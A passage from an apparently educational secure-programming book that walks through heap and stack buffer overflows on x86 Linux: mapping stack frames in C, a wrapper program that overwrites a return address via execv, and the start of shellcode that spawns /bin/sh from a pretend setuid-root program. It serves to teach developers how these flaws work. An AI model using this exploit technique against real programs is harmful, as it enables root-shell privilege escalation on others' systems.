cient. A better way to insert periods in input is to call our program with another program. The calling program can construct any string it wants, and can pass arbitrary arguments to the program it invokes via execv (or some similar function), with the sole exception that nulls cannot be embedded in the string. We do this sort of thing later when we consider stack overflows.

We've successfully overflowed a heap variable. Notice that we ended up having to write over some "in-between" space. In this case, our stomping around in memory didn't cause us problems. In real programs, though, we may be forced to overwrite data that are crucial to the basic functioning of the program. If we do things wrong, the program may crash when it hits the "middle" data we overwrote before the malicious data we placed on the heap gets used. This would render our attack useless. If our stomping around causes problems, we have to be sure to find out exactly what data we need to leave alone on the heap.

Developers need to keep heap overflow in mind as a potential attack. Although heap overflows are harder to exploit, they are common and they really can be security problems. For example, near the end of 2000, an exploitable heap overflow was found in the Netscape Directory Server.

Stack Overflows

The main problem with heap overflows is that it is hard to find a security-critical region to overwrite just so. Stack overflows are not as much of a challenge. That's because there's always something security critical to overwrite on the stack—the return address.

Here's our agenda for a stack overflow:

1. Find a stack-allocated buffer we can overflow that allows us to overwrite the return address in a stack frame.
2. Place some hostile code in memory to which we can jump when the function we're attacking returns.
3. Write over the return address on the stack with a value that causes the program to jump to our hostile code.

First we need to figure out which buffers in a program we can overflow. Generally, there are two types of stack-allocated data: nonstatic local variables and parameters to functions. So can we overflow both types of data? It depends. We can only overflow items with a lower memory address than the return address. Our first order of business, then, is to take some function, and "map" the stack. In other words, we want to find out where the parameters and local variables live relative to the return address in which we're interested. We have to pick a particular platform. In this example, we examine the x86 architecture.

Decoding the Stack

Let's start with another simple C program:

```
void test(int i) {
  char buf[12];
}

int main() {
  test(12);
}
```

The `test` function has one local parameter and one statically allocated buffer. To look at the memory addresses where these two variables live (relative to each other), let's modify the code slightly:

```
void test(int i) {
  char buf[12];
  printf("&i = %p\n", &i);
  printf("&buf[0] = %p\n", buf);
}

int main() {
  test(12);
}
```

A typical execution for our modified code results in the following output:

```
&i = 0xbffffa9c
&buf[0] = 0xbffffa88
```

Now we can look in the general vicinity of these data, and determine whether we see something that looks like a return address. First we need to have an idea of what the return address looks like. The return address will be some offset from the address of `main()`. Let's modify the code to show the address of `main()`:

```
void test(int i) {
  char buf[12];
  printf("&main = %p\n", &main);
  printf("&i = %p\n", &i);
  printf("&buf[0] = %p\n", buf);
}

int main() {
  test(12);
}
```

We may see that `main` starts at memory address `0x80484ec`. We want to find something that looks close to `80484ec` but is a bit higher. Let's start looking 8 bytes above `buf`, and stop looking 8 bytes past the end of `i`. To do this, let's modify the code as follows:

```
char *j;
int main();

void test(int i) {
  char buf[12];
  printf("&main = %p\n", &main);
  printf("&i = %p\n", &i);
  printf("&buf[0] = %p\n", buf);
  for(j=buf-8;j<((char *)&i)+8;j++)
    printf("%p: 0x%x\n", j, *(unsigned char *)j);
}

int main() {
  test(12);
}
```

Note that to get 8 bytes beyond the start of the variable `i` we have to cast the variable's address to a `char *`. Why? Because when C adds eight to an address, it really adds eight times the size of the data type it thinks is stored at the memory address. This means that adding eight to an integer pointer is going to bump the memory address 32 bytes instead of the desired 8 bytes.

Now what we are trying to determine is whether anything here looks like a return address. Remember, a memory address is 4 bytes, and we're only looking at things 1 byte at a time. This is okay, but we still don't know the range in which we should be looking. How can we figure out the range where the return address will be? One thing we do know is that the program will return to the `main()` function. Maybe we can get the address of the main function, print that out, and then look for a pattern of four consecutive bytes that are pretty close.

Running this program results in output looking something like this:

```
&main = 0x80484ec       0xbffffa8a: 0x4      0xbffffa97: 0xbf
&i = 0xbffffa9c         0xbffffa8b: 0x8      0xbffffa98: 0xf6
&buf[0] = 0xbffffa88    0xbffffa8c: 0x9c     0xbffffa99: 0x84
0xbffffa80: 0x61        0xbffffa8d: 0xfa     0xbffffa9a: 0x4
0xbffffa81: 0xfa        0xbffffa8e: 0xff     0xbffffa9b: 0x8
0xbffffa82: 0xff        0xbffffa8f: 0xbf     0xbffffa9c: 0xc
0xbffffa83: 0xbf        0xbffffa90: 0x49     0xbffffa9d: 0x0
0xbffffa84: 0xbf        0xbffffa91: 0xd6     0xbffffa9e: 0x0
0xbffffa85: 0x0         0xbffffa92: 0x2      0xbffffa9f: 0x0
0xbffffa86: 0x0         0xbffffa93: 0x40     0xbffffaa0: 0x0
0xbffffa87: 0x0         0xbffffa94: 0xa0     0xbffffaa1: 0x0
0xbffffa88: 0xfc        0xbffffa95: 0xfa     0xbffffaa2: 0x0
0xbffffa89: 0x83        0xbffffa96: 0xff     0xbffffaa3: 0x0
```

We know that the function `main` lives at `0x80484ec`, so in our output we expect to see three consecutive bytes, where the first two are `0x8` and `0x4`, and the third is `0x84` or maybe `0x85`. (We expect this because we believe the code from the start of `main` to where `test` returns is just a few bytes long. For the third byte to be greater than `0x85`, there would have to be at least 17 bytes of code.) The fourth byte could be anything reasonable. Of course we can find all three of these bytes in the program somewhere (three of the highlighted bytes), but not in the right order. If you look closely, however, you'll notice that they do appear in reverse order! This is no coincidence. The memory address we're looking for is stored in 4 bytes. The x86 stores multibyte primitive types in little-endian order, meaning that the data for which we are looking are stored last byte first and first byte last. In fact, it turns out that all the bits are actually stored upside down. Whenever we go to use some data, they are treated the right way though. This is why if we print out 1 byte at a time, the individual bytes print "right side up," but when we look at 4 bytes that should be consecutive, they're in reverse order.[5]

As an example, consider the variable `i`. When we print it out, we will see 12. In 32-bit hexadecimal, 12 is represented as `0x0000000c`. If we expected

5. By the way, we find it easier to do these kinds of things by printing out memory from a debugger. However, we feel that it's more conducive to figuring out what's really going on to do it the hard way.

these bytes to be right side up, then starting at byte `0xbffffa9c` we'd expect to see

```
0xbffffa9c: 0x0
0xbffffa9d: 0x0
0xbffffa9e: 0x0
0xbffffa9f: 0xc
```

But on this architecture we see the bytes in the reverse order. To recap, if we print out the variable as a single 32-bit quantity in hexadecimal, we get `0xc` (12), and not `0xc000000` (201326592 unsigned). But, if we dump the memory, this is not what we see.

Reassembling the 4 bytes of the return address, we get `0x80484f6`, which is 10 bytes past the start of `main()`. So now let's map out the stack starting at the beginning of `buf` (`0xbffffa88`):

`0xbffffa88-0xbffffa93` is the `char` array `buf`.

The next 4 bytes are

```
0xbffffa94: 0xa0
0xbffffa95: 0xfa
0xbffffa96: 0xff
0xbffffa97: 0xbf
```

This value, when reassembled, is `0xbffffaa0`, which is obviously a pointer further down in the stack. It turns out that this word is the value that the register `ebp` had before the call to `test()`. It will be put back into `ebp` as soon as execution returns from `test` to `main`. But why was `ebp` pointing to the stack? The value of `ebp` is called **the base pointer.** It points to the current stack frame. Code accessing local variables and parameters gets written in terms of the base pointer. It turns out that the base pointer points to the place where the old base pointer is stored. So the current value of `ebp` in this case would be `0xbffffa94`.

The next 4 bytes, starting at `0xbffffa98`, constitute the return address. The 4 bytes after that (`0xbffffa9c`–`0xbffffa9f`) are where the parameter `i` is stored. The next byte, `0xbffffaa0`, is where the old base pointer points (in other words, the base pointer for `main`'s call frame). The value of the word starting at that address should contain the base pointer for the function that called `main`. Of course, no function of which we're aware called main (it was called from the standard library), so the fact that 0x000000 is the value of that word should come as no surprise.

After all this work, we now have a pretty good idea about what a stack frame looks like:

Low address

Local variables

The old base pointer

The return address

Parameters to the function

High address

The stack grows toward memory address 0, and the previous stack frame is below the function parameters.

Now we know that if we overflow a local variable, we can overwrite the return address for the function we're in. We also know that if we overflow a function parameter, we can overwrite the return address in the stack frame below us. (There always is one, it turns out. The main function returns to some code in the C runtime library.) Let's test out our newfound knowledge using the following toy program:

```
/* Collect program arguments into a buffer, then print the buffer
   */
void concat_arguments(int argc, char **argv) {
  char buf[20];
  char *p = buf;
  int i;

  for(i=1;i<argc;i++) {
      strcpy(p, argv[i]);
      p+=strlen(argv[i]);
      if(i+1 != argc) {
          *p++ = ' '; /* Add a space back in */
        }
    }
  printf("%s\n", buf);
}

int main(int argc, char **argv) {
  concat_arguments(argc, argv);
}
```

Just for the sake of learning, let's pretend that our little program is installed setuid root; meaning, if we can overflow a buffer and install some code to get a shell we should end up with root privileges on the machine. The first thing we'll do is copy the program over to our own directory where we can experiment with it.

To begin, note that we can overflow the buffer buf and overwrite the return address. All we have to do is pass more than 20 characters in on the command line. How many more? Based on our previous exploration of the stack, we may guess that there are 20 bytes for buf, then 4 bytes for p and then 4 more bytes for i. Next, there should be 4 bytes storing the old base pointer, and finally, the return address. So we expect the return address to start 32 bytes past the beginning of buf. Let's make some modifications, and see if our assumptions are correct.

We'll start by printing out the relative positions of buf, p, and i. With some minor modification to the code, you may get something like

```
./a.out foo
foo
&p = 0xbffff8d8
&buf[0] = 0xbffff8dc
&i = 0xbffff8d4
```

It turns out that p and i are both placed at lower memory addresses than buf. This is because the first argument is allocated first on the stack. The stack grows toward smaller memory addresses. This means that we should expect the return address to be 24 bytes past the start of buf. We can inspect the stack in detail, like we did before, to be certain. (Amazingly, this assumption turns out to be correct.)

To Infinity . . . and Beyond!

Now let's try to make the program jump somewhere it's not supposed to jump. For example, we can take a guess at where concat_arguments starts and make it jump there. The idea is to put the program into an infinite loop where there should be no infinite loop, as a simple proof of concept. Let's add some code to show us where concat_arguments starts. The danger is that we may modify the address at which concat_arguments starts by adding code. Generally, we won't have to worry about this problem if we add code to the function with the address we want, and nowhere else in the code (because the code only grows down, toward higher memory addresses).

Let's get rid of the code that prints out the value of our variables, and print out the address of concat_arguments instead. We modify the code as follows:

```
void concat_arguments(int argc, char **argv) {
  char buf[20];
  char *p = buf;
  int i;

  for(i=1;i<argc;i++) {
      strcpy(p, argv[i]);
      p+=strlen(argv[i]);
      if(i+1 != argc) {
          *p++ = ' '; /* Add a space back in */
        }
    }
  printf("%s\n", buf);
  printf("%p\n", &concat_arguments);
}

int main(int argc, char **argv) {
  concat_arguments(argc, argv);
}
```

When we run the program as such

```
$ ./concat foo bar
```

we get something similar to the following:

```
foo bar
0x80484d4
```

Now we need to call the program in such a way that we overwrite the return value with 0x80484d4.

Somehow we have to put arbitrary bytes into our command-line input. This isn't fun, but we can do it. Let's write a little C program to call our code, which should make our life a bit easier. We need to put 24 bytes in our buffer, then the value 0x800484d4. What bytes shall we put in the buffer? For now, let's fill it with the letter x (0x78). We can't fill it with nulls (0x0), because strcpy won't copy over our buffer if we do, because it stops the first time it sees a null. So here's a first cut at a wrapper program, which we place in a file wrapconcat.c:

```
int main() {
  char* buf = (char *)malloc(sizeof(char)*1024);
  char **arr = (char **)malloc(sizeof(char *)*3);
  int i;

  for(i=0;i<24;i++) buf[i] = 'x';
  buf[24] = 0xd4;
  buf[25] = 0x84;
  buf[26] = 0x4;
  buf[27] = 0x8;

  arr[0] = "./concat";
  arr[1] = buf;
  arr[2] = 0x00;

  execv("./concat", arr);
}
```

Remember, we have to put the 4 bytes of our address into the buffer in little-endian order, so the most significant byte goes in last.

Let's remove our old debugging statement from concat.c, and then compile both concat.c and wrapconcat.c. Now we can run wrapconcat. Unfortunately, we don't get the happy results we expected:

```
$ ./wrapconcat
xxxxxxxxxxxxxxxxxxxxxxxx·
Segmentation fault (core dumped)
$
```

What went wrong? Let's try to find out. Remember, we can add code to the concat_arguments function without changing the address for that function. So let's add some debugging information to concat.c:

```
void concat_arguments(int argc, char **argv) {
  char buf[20];
  char *p = buf;
  int i;

  printf("Entering concat_arguments.\n"
         "This should happen twice if our program jumps to the "
         "right place\n");
  for(i=1;i<argc;i++) {
      printf("i = %d; argc = %d\n", i, argc);
      strcpy(p, argv[i]);
      p+=strlen(argv[i]);
      if(i+1 != argc) {
        *p++ = ' '; /* Add a space back in */
      }
    }
  printf("%s\n", buf);
}

int main(int argc, char **argv) {
  concat_arguments(argc, argv);
}
```

Running this code via our wrapper results in something like the following output:

```
$ ./wrapconcat
Entering concat_arguments.
This should happen twice if our program jumps to the right place
i = 1; argc = 2
i = 2; argc = 32
Segmentation fault (core dumped)
$
```

Why did argc jump from 2 to 32, causing the program to go through the loop twice? Apparently argc was overwritten by the previous strcpy. Let's check our mental model of the stack:

Lower addresses

i	(4 bytes)
p	(4 bytes)
buf	(20 bytes)
Old base pointer	(4 bytes)
Return address	(4 bytes)
argc	(4 bytes)
argv	(4 bytes)

Higher addresses

Actually, we haven't really looked to see if argc comes before argv. It turns out that it does. You can determine this by inspecting the stack before strcpy. If you do so, you'll see that the value of the 4 bytes after the return address is always equal to argc.

So why are we writing over argv? Let's add some code to give us a "before-and-after" picture of the stack. Let's look at it before we do the first strcpy, and then take another look after we do the last strcpy:

```
void concat_arguments(int argc, char **argv) {
  char buf[20];
  char *p = buf;
  int i;

  printf("Entering concat_arguments.\n"
         "This should happen twice if our program jumps to the "
         "right place\n");

  printf("Before picture of the stack:\n");
  for(i=0;i<40;i++) {
      printf("%p: %x\n", buf + i, *(unsigned char *)(buf+i));
    }

  for(i=1;i<argc;i++) {
      printf("i = %d; argc = %d\n", i, argc);

      strcpy(p, argv[i]);
      /*
       * We'll reuse i to avoid adding to the size of the stack
         frame.
       * We will set it back to 1 when we're done with it!
       * (we're not expecting to make it into loop iteration 2!)
       */

      printf("AFTER picture of the stack:\n");
      for(i=0;i<40;i++) {
          printf("%p: %x\n", buf + i, *(unsigned char *)(buf+i));
        }
      /* Set i back to 1. */
      i = 1;

      p+=strlen(argv[i]);
      if(i+1 != argc) {
          *p++ = ' '; /* Add a space back in */
        }
    }
   printf("%s\n", buf);
   printf("%p\n", &concat_arguments);
  }
```

```
int main(int argc, char **argv) {
  concat_arguments(argc, argv);
}
```

Running this program with our wrapper, results in something like the following:

```
$ ./wrapconcat
Entering concat_arguments.
This should happen twice if
our program jumps to the
right place
Before picture of the stack:
0xbffff8fc: 98
0xbffff8fd: f9
0xbffff8fe: 9
0xbffff8ff: 40
0xbffff900: 84
0xbffff901: f9
0xbffff902: 9
0xbffff903: 40
0xbffff904: bc
0xbffff905: 1f
0xbffff906: 2
0xbffff907: 40
0xbffff908: 98
0xbffff909: f9
0xbffff90a: 9
0xbffff90b: 40
0xbffff90c: 60
0xbffff90d: 86
0xbffff90e: 4
0xbffff90f: 8
0xbffff910: 20
0xbffff911: f9
0xbffff912: ff
0xbffff913: bf
0xbffff914: 34
0xbffff915: 86
0xbffff916: 4
0xbffff917: 8
0xbffff918: 2
0xbffff919: 0
0xbffff91a: 0
0xbffff91b: 0
0xbffff91c: 40
0xbffff91d: f9
0xbffff91e: ff
0xbffff91f: bf
0xbffff920: 34
0xbffff921: f9
0xbffff922: ff
0xbffff923: bf
i = 1; argc = 2
0xbffff8fc: 78
0xbffff8fd: 78
0xbffff8fe: 78
0xbffff8ff: 78
0xbffff900: 78
0xbffff901: 78
0xbffff902: 78
0xbffff903: 78
0xbffff904: 78
0xbffff905: 78
0xbffff906: 78
0xbffff907: 78
0xbffff908: 78
0xbffff909: 78
0xbffff90a: 78
0xbffff90b: 78
0xbffff90c: 78
0xbffff90d: 78
0xbffff90e: 78
0xbffff90f: 78
0xbffff910: 78
0xbffff911: 78
0xbffff912: 78
0xbffff913: 78
0xbffff914: d4
0xbffff915: 84
0xbffff916: 4
0xbffff917: 8
0xbffff918: 0
0xbffff919: 0
0xbffff91a: 0
0xbffff91b: 0
0xbffff91c: 40
0xbffff91d: f9
0xbffff91e: ff
0xbffff91f: bf
0xbffff920: 34
0xbffff921: f9
0xbffff922: ff
0xbffff923: bf
i = 2; argc = 32
Segmentation
fault (core
dumped)
$
```

Let's pay special attention to argc. In the "before" version of the stack, it lives at 0xbffff918, highlighted in the middle column. Its value is 2, as would be expected. Now, this variable lives in the same place in the "after" version, but note that the value has changed to 0. Why did it change to 0?

Because we forgot that strcpy copies up to and *including* the first null it finds in a buffer. So we accidentally wrote 0 over argc. But how did argc change from 0 to 32? Look at the code after we print out the stack. In it, argc is *not* equal to i+1, so we add a space at the end of the buffer, and the least-significant byte of argc is currently the end of the buffer. So the null gets replaced with a space (ASCII 32).

It is now obvious that we can't leave that null where it is. How do we solve the problem? One thing we can do from our wrapper is add 0x2 to the end of the buffer so that we write the null into the second least-significant digit, instead of the least-significant digit. This change causes 0x2 to appear at 0xbffff918, and 0x0 to appear at 0xbffff919, causing the memory at which argc lives to look exactly the same in the "before" and "after" versions of our stack.

Here's a fixed version of the wrapper code:

```
int main() {
  char* buf = (char *)malloc(sizeof(char)*1024);
  char **arr = (char **)malloc(sizeof(char *)*3);
  int i;

  for(i=0;i<24;i++) buf[i] = 'x';

  buf[24] = 0xd4;
  buf[25] = 0x84;
  buf[26] = 0x4;
  buf[27] = 0x8;
  buf[28] = 0x2;
  buf[29] = 0x0;

  arr[0] = "./concat";
  arr[1] = buf;
  arr[2] = '\0';

  execv("./concat", arr);
}
```

Let's "comment out" the stack inspection code that we inserted into concat.c before we run it again (leaving the rest of the debugging code intact). After we recompile both programs, and run our wrapper, we get

```
$ ./wrapconcat
Entering concat_arguments.
This should happen twice if our program jumps to the right place
i = 1; argc = 2
xxxxxxxxxxxxxxxxxxxxxxxxÔ
```

```
0x80484d4
Entering concat_arguments.
This should happen twice if our program jumps to the right place
xxxxxxxxxxxxxxxxxxxxxxxx
0x80484d4
Segmentation fault (core dumped)
$
```

This result is far more promising! Our code jumped back to the beginning of the function at least.

But why didn't the program loop forever, like it was supposed to do? The answer to this question requires an in-depth understanding of what goes on when a function is called using C on an x86 running Linux (although other architectures usually behave similarly). There are two interesting pointers to the stack: the base pointer and the stack pointer. The base pointer we already know a bit about. It points to the middle of a stack frame. It is used to make referring to local variables and parameters from the assembly code generated by the compiler easier. For example, the variable `i` in the `concat_arguments` function isn't named at all if you happen to look for it in the assembly code. Instead, it is expressed as a constant offset from the base pointer. The base pointer lives in the register `ebp`. The stack pointer always points to the top of the stack. As things get pushed onto the stack, the stack pointer automatically moves to account for it. As things get removed from the stack, the stack pointer is also automatically adjusted.

Before a function call is made, the caller has some responsibilities. A C programmer doesn't have to worry about these responsibilities because the compiler takes care of them, but you can see these steps explicitly if you go digging around in the assembled version of a program. First, the caller pushes all the parameters that are expected by the called function onto the stack. As this is done, the stack pointer changes automatically. Then there are some other things the caller can save by pushing them onto the stack too. When done, the caller invokes the function with the x86 "call" instruction. The call instruction pushes the return address onto the stack (which generally is the instruction textually following the call), and the stack pointer gets updated accordingly. Then the call instruction causes execution to shift over to the callee (meaning the program counter is set to be the address of the function being called).

The callee has some responsibilities too. First, the caller's base pointer is saved by pushing the contents of the `ebp` register onto the stack. This updates the stack pointer, which is now pointing right at the old base pointer. (There are some other registers the callee is responsible for saving to the stack as well, but they don't really concern us, so we'll ignore them.) Next, the caller sets the value of the ebp for its own use. The current value of the stack pointer is used as the caller's base pointer, so the contents of register esp are copied into register ebp. Then the callee moves the stack pointer enough to reserve space for all locally allocated variables.

When the callee is ready to return, the caller updates the stack pointer to point to the return address. The ret instruction transfers control of the program to the return address on the stack and moves the stack pointer to reflect it. The caller then restores any state it wants to get back (such as the base pointer), and then goes about its merry way.

With this under our belt, let's figure out what happens when our little program runs. As we rejoin our story . . . we finish carrying out the exit responsibilities of the callee, then jump back to the top of the function, where we start to carry out the entrance responsibilities of the callee. The problem is, when we do this we completely ignore the responsibilities of the caller. The caller's responsibilities on return don't really matter, because we're just going to transfer control right back to concat_arguments. But the stuff that main is supposed to do before a call never gets done when we jump to the top of concat_arguments. The most important thing that doesn't happen when we jump to the start of a function like we did is pushing a return address onto the stack. As a result, the stack pointer ends up 4 bytes higher than where it should be, which messes up local variable access. The crucial thing that *really* causes the crash, though, is that there is *no return address on the stack*. When execution gets to the end of concat_arguments the second time, execution tries to shift to the return address on the stack. But we never pushed one on. So when we pop, we get whatever happens to be there, which turns out to be the saved base pointer. We have just overwritten the saved base pointer with 0x78787878. Our poor program jumps to 0x78787878 and promptly crashes.

Of course we don't really need to put our program in an infinite loop anyway. We've already demonstrated that we can jump to an arbitrary point in memory and then run some code. We could switch gears and begin to focus on placing some exploit code on the stack and jumping to that. Instead, let's go ahead and get our program to go into an infinite loop, just to make sure we have mastered the material. We'll craft an actual exploit after that.

Here's how we can get our program to go into an infinite loop. Instead of changing the return address to be the top of the concat_arguments function, let's change it to be some instruction that calls `concat_arguments`, so that a valid return address gets pushed onto the stack. If we get a valid return address back onto the stack, the base pointer will be correct, meaning that our input will once again overwrite the return address at the right place, resulting in an infinite loop.

Let's start with our most recent version of `concat` (the one with debugging information but without the code to print the contents of the stack). Instead of printing the address of `concat_arguments`, we want to print the address of the `call` instruction in function `main`. How do we get this address? Unfortunately, we can't get this information from C. We have to get it from assembly language. Let's compile `concat.c` as-is to assembly language, which produces a `.s` file. (If you're curious to look at the code, but don't want to type in the entire example, we have placed a sample `concat.s` on the book's companion Web site.)

Now, look at the contents of `concat.s`. Assembly language may be Greek to you. That's perfectly fine. You don't need to be able to understand most of this stuff. There are only three things you should note:

1. There are lots of labels in the assembly code, much like switch labels in C. These labels are abstractions for memory addresses at which you can look and to which you can jump. For example, the label `concat_arguments` is the start of the `concat_arguments` function. This is where we've been jumping to, up until now. If you can read Assembly even moderately well, you'll notice that the first thing that happens is the current base pointer is pushed onto the program stack!
2. Search for the line

   ```
   pushl $concat_arguments
   ```

   This line gets the memory address of the label `concat_arguments`. Instead of looking at the memory address for `concat_arguments`, we want to look at the memory address of the call to `concat_arguments`. We have to update this line of assembly shortly.
3. Search for the line

   ```
   call concat_arguments
   ```

   This is the location in the code to which we want to jump.

Now we've picked out the important features of the assembly code. Next we need to find a way to get the memory address of the code "call concat_arguments." The way to do this is to add a label. Let's change that one line of assembly to two lines:

```
JMP_ADDR:
      call concat_arguments
```

Next we need to change the line `pushl $concat_arguments` to get the address of the label in which we're interested:

```
pushl $JMP_ADDR
```

By this point we've made all the changes to this assembly code we need to make. So let's save it and then compile it with the following command:

```
gcc -o concat concat.s
```

Notice we're compiling the `.s` file, and not the `.c` file this time.

So now if we run `concat` (or our wrapper), the program prints out the memory address to which we eventually need to jump. If we run `concat` through our wrapper, we get output much like the following:

```
$ ./wrapconcat
Entering concat_arguments.
This should happen twice if our program jumps to the right place
i = 1; argc = 2
xxxxxxxxxxxxxxxxxxxxxxxxÔ

0x804859f
Entering concat_arguments.
This should happen twice if our program jumps to the right place
xxxxxxxxxxxxxxxxxxxxxxxx
0x804859f
Segmentation fault (core dumped)
```

Notice that the memory address is different than it was before. Let's change our wrapper to reflect the new memory address:

```
#include <stdio.h>
int main() {
  char* buf = (char *)malloc(sizeof(char)*1024);
  char **arr = (char **)malloc(sizeof(char *)*3);
  int i;
  for(i=0;i<24;i++) buf[i] = 'x';

  buf[24] = 0x9f; /* Changed from 0xd4 on our machine */
  buf[25] = 0x85; /* Changed from 0x84 on our machine */
  buf[26] = 0x4;
  buf[27] = 0x8;
  buf[28] = 0x2;
  buf[29] = 0x0;

  arr[0] = "./concat";
  arr[1] = buf;
  arr[2] = '\0';

  execv("./concat", arr);
}
```

It's time to compile and run the wrapper. It works. We've made an infinite loop. But wait, we're not quite done. The version of concat that we're running has lots of debugging information in it. It turns out that all our debugging information has caused the code in the main method to move to somewhere it wouldn't otherwise be. What does this mean? Well, it means that if we remove all our debugging code and try to use our wrapper, we're going to get the following output:

```
$ ./wrapconcat
xxxxxxxxxxxxxxxxxxxxxxxx
Illegal instruction (core dumped)
$
```

This output suggests that the code for the function concat_arguments is placed in a lower memory address than the code for main. Apparently, we need to get the real memory address to which we want to return. We could get it to work by trial and error. For example, we could try moving the pointer a byte at a time until we get the desired results. We couldn't have removed too many bytes of code, right? Right. But there's an easier way.

Let's take the original concat.c and make a small modification to it:

```
/* Collect program arguments into a buffer, then print the buffer
   */
void concat_arguments(int argc, char **argv) {
  char buf[20];
  char *p = buf;
  int i;
  for(i=1;i<argc;i++) {
      strcpy(p, argv[i]);
      p+=strlen(argv[i]);
      if(i+1 != argc)
        {
          *p++ = ' '; /* Add a space back in */
        }
    }
  printf("%s\n", buf);
}

int main(int argc, char **argv) {
  concat_arguments(argc, argv);
  printf("%p\n", &concat_arguments);
}
```

Once again we have modified the program to print out the address of `concat_arguments`. This time, however, we're doing it after the return from `concat_arguments` in `main`. Because `main` is the last function laid out into memory, and because this code comes after the call in which we're interested, our change should not affect the memory address of the call. Next we have to do the exact same assembly language hack we did before, and adjust our wrapper accordingly. This time we may get the address `0x804856b`, which is, as expected, different than the one we had been using. After modifying the wrapper and recompiling it, remove `printf` from `concat`, and recompile. When you recompile `concat` and run the wrapper, notice that everything works as expected. We finally got it right, and hopefully learned something in the process.

Now it's time to turn our knowledge into an attack.

Attack Code

Crafting a buffer overflow exploit may seem easy at first blush, but it actually turns out to be fairly hard work. Figuring out how to overflow a particular buffer and modify the return address is half the battle.

Note that this section provides working exploit code. Some people are sure to criticize us for this choice. However, this code is easy to find on the Internet, as are tutorials for using it. We're not revealing any big secrets by putting this information here. Attackers who are skilled enough to write their own exploits and are determined to do so will do so anyway. We have two goals in providing attack code. First, we want to be able to provide people with a deep understanding of how things work. Second, we see a legitimate use for attack code, and wish to support such use. In particular, it is often incredibly difficult to determine whether something that looks like a buffer overflow is an exploitable condition. Often, the easiest way to make that determination is by building an exploit. We wish that weren't true, but it is; we've had to do it ourselves.

On UNIX machines, the goal of the attacker is to get an interactive shell. That means run-of-the-mill attack code usually attempts to fire up `/bin/sh`. In C, the code to spin a shell looks like this:

```
void exploit() {
  char *s = "/bin/sh";
  execl(s, s, 0x00);
}
```

In a Windows environment, the usual goal is to download hostile code onto the machine and execute it. Often, that code is a remote administration tool, such as Sub7 or Back Orifice 2000 from Cult of the Dead Cow (http://www.backorifice.com).

Lets go over the major issues involved in crafting exploits for UNIX boxes. We'll touch on Windows too, while we're at it.

A UNIX Exploit

So we've got a UNIX function in C that does what we want it to do (in other words, it gets us a shell). Given this code (displayed earlier) and a buffer that we can overflow, how do we combine the two pieces to get the intended result?

From 50,000 feet, here's what we do: We take our attack code, compile it, extract the binary for the piece that actually does the work (the `execl` call), and then insert the compiled exploit code into the buffer we are overwriting. We can insert the code snippet before or after the return address over which we have to write, depending on space limitations. Then we have to figure out exactly where the overflow code should jump, and place that address at the exact proper location in the buffer in such a way that it overwrites the normal return address. All this means the data that we want to inject into the buffer we are overflowing need to look something like this:

Position	*Contents*
Start of buffer	Our exploit code might fit here; otherwise, whatever.
End of buffer	"
Other vars	"
Return address	A jump-to location that will cause our exploit to run
Parameters	Our exploit code, if it didn't fit elsewhere
Rest of stack	Our exploit code, continued, and any data our code needs

Sometimes we can fit the exploit code before the return address, but usually there isn't enough space. If our exploit is not that big, there may be some extra space we need to fill. Often, it is possible to pad any extra space with a series of periods. Sometimes this doesn't work. Whether the period-padding approach works depends on what the rest of the code does. Without the specific value in the right place, the program would crash before it had a chance to get to the overwritten return address.

In any case, the most immediate problem is to take our attack code and get some representation for it that we can stick directly into a stack exploit. One way to do this is to create a little binary and take a hex dump. This approach often requires playing around a bit to figure out which parts of the binary do what. Fortunately, there is a better way to get the code we need. We can use a debugger.

First we write a C program that invokes our exploit function:

```
void exploit() {
  char *s = "/bin/sh";
  execl(s, s, 0x00);
}

void main() {
  exploit();
}
```

Next we compile this program with debugging on (by passing the `-g` flag to the compiler), and run it using `gdb`, the GNU debugger, using the command

```
gdb exploit
```

Now we can look at the code in assembly format and tell how many bytes to which each instruction maps using the following command:

```
disassemble exploit
```

Which gives us something like

```
Dump of assembler code for function exploit:
0x8048474 <exploit>:    pushl  %ebp
0x8048475 <exploit+1>:  movl   %esp,%ebp
0x8048477 <exploit+3>:  subl   $0x4,%esp
0x804847a <exploit+6>:  movl   $0x80484d8,0xfffffffc(%ebp)
0x8048481 <exploit+13>: pushl  $0x0
0x8048483 <exploit+15>: movl   0xfffffffc(%ebp),%eax
0x8048486 <exploit+18>: pushl  %eax
0x8048487 <exploit+19>: movl   0xfffffffc(%ebp),%eax
0x804848a <exploit+22>: pushl  %eax
0x804848b <exploit+23>: call   0x8048378 <execl>
0x8048490 <exploit+28>: addl   $0xc,%esp
0x8048493 <exploit+31>: leave
0x8048494 <exploit+32>: ret
0x8048495 <exploit+33>: leal   0x0(%esi),%esi
End of assembler dump.
```

We can get each byte of this function in hexadecimal, one at a time, by using the x/bx command. To do this, start by typing the command

```
x/bx exploit
```

The utility will show you the value of the first byte in hexadecimal. For example,

```
0x804874 <exploit>:        0x55
```

Keep hitting return, and the utility will reveal subsequent bytes. You can tell when the interesting stuff has all gone by because the word "exploit" in the output will go away. Remember that we (usually) don't really care about function prologue and epilogue stuff. You can often leave these bytes out, as long as you get all offsets relative to the actual base pointer (ebp) right.

Direct compilation of our exploit straight from C does have a few complications. The biggest problem is that the constant memory addresses in the assembled version are probably going to be completely different in the program we're trying to overflow. For example, we don't know where execl is going to live, nor do we know where our string "/bin/sh" will end up being stored.

Getting around the first challenge is not too hard. We can statically link execl into our program, view the assembly code generated to call execl, and use that assembly directly. (execl turns out to be a wrapper for the execve system call anyway, so it is easier to use the execve library call in our code, and then disassemble that.) Using the static linking approach, we end up calling the system call directly, based on the index to system calls held by the operating system. This number isn't going to change from install to install.

Unfortunately, getting the address of our string (the second challenge) is a bit more problematic. The easiest thing to do is to lay it out in memory right after our code, and do the math to figure out where our string lives relative to the base pointer. Then, we can indirectly address the string via a known offset from the base pointer, instead of having to worry about the actual memory address. There are, of course, other clever hacks that achieve the same results.

As we address our two main challenges, it is important not to forget that most functions with buffers that are susceptible to buffer overflow attacks operate on null-terminated strings. This means that when these functions see a null character, they cease whatever operation they are performing (usually some sort of copy) and return. Because of this, exploit code cannot include any null bytes. If, for some reason, exploit code absolutely requires a null byte, the byte in question must be the last byte to be inserted, because nothing following it gets copied.

To get a better handle on this, let's examine the C version of the exploit we're crafting:

```
void exploit() {
  char *s = "/bin/sh";
  execl(s, s, 0x00);
}
```

0x00 is a null character, and it stays a null character even when compiled into binary code. At first this may seem problematic, because we need to null terminate the arguments to execl. However, we can get a null without explicitly using 0x00. We can use the simple rule that anything XOR-ed with itself is 0. In C, we may thus rewrite our code as follows:

```
void exploit() {
  char *s = "/bin/sh";
  execl(s, s, 0xff ^ 0xff);
